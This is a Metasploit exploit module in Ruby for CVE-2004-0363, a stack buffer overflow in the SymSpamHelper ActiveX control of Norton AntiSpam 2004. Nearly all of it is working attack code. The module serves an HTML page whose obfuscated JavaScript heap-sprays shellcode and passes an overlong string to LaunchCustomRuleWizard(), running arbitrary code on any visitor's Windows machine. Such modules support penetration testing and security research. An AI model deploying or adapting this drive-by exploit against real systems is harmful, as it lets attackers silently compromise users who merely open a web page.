This Metasploit module exploits a stack overflow in Norton AntiSpam 2004. When sending an overly long string to the LaunchCustomRuleWizard() method of symspam.dll (2004.1.0.147) an attacker may be able to execute arbitrary code.
4fa3146363307ceda18babd0073f04367b9a0808e5db8b3fbf5096285e2df5aa###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Norton AntiSpam 2004. When
sending an overly long string to the LaunchCustomRuleWizard() method
of symspam.dll (2004.1.0.147) an attacker may be able to execute
arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC' ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2004-0363' ],
[ 'OSVDB', '6249' ],
[ 'BID', '9916' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
],
'DisclosureDate' => 'Mar 19 2004',
'DefaultTarget' => 0))
end
def autofilter
false
end
def check_dependencies
use_zlib
end
def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)
# Encode the shellcode.
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
# Set the return.
ret = Rex::Text.uri_encode([target.ret].pack('L'))
js = %Q|
try {
var evil_string = "";
var index;
var vulnerable = new ActiveXObject('SymSpamBlockingUI.SymSpamHelper.1');
var my_unescape = unescape;
var shellcode = '#{shellcode}';
#{js_heap_spray}
sprayHeap(my_unescape(shellcode), #{target.ret}, 0x40000);
for (index = 0; index < 2024; index++) {
evil_string = evil_string + my_unescape('#{ret}');
}
vulnerable.LaunchCustomRuleWizard(evil_string);
} catch( e ) { window.location = 'about:blank' ; }
|
opts = {
'Strings' => true,
'Symbols' => {
'Variables' => [
'vulnerable',
'shellcode',
'my_unescape',
'index',
'evil_string',
]
}
}
js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
js.update_opts(js_heap_spray.opts)
js.obfuscate()
content = %Q|
<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response_html(cli, content)
# Handle the payload
handler(cli)
end
end
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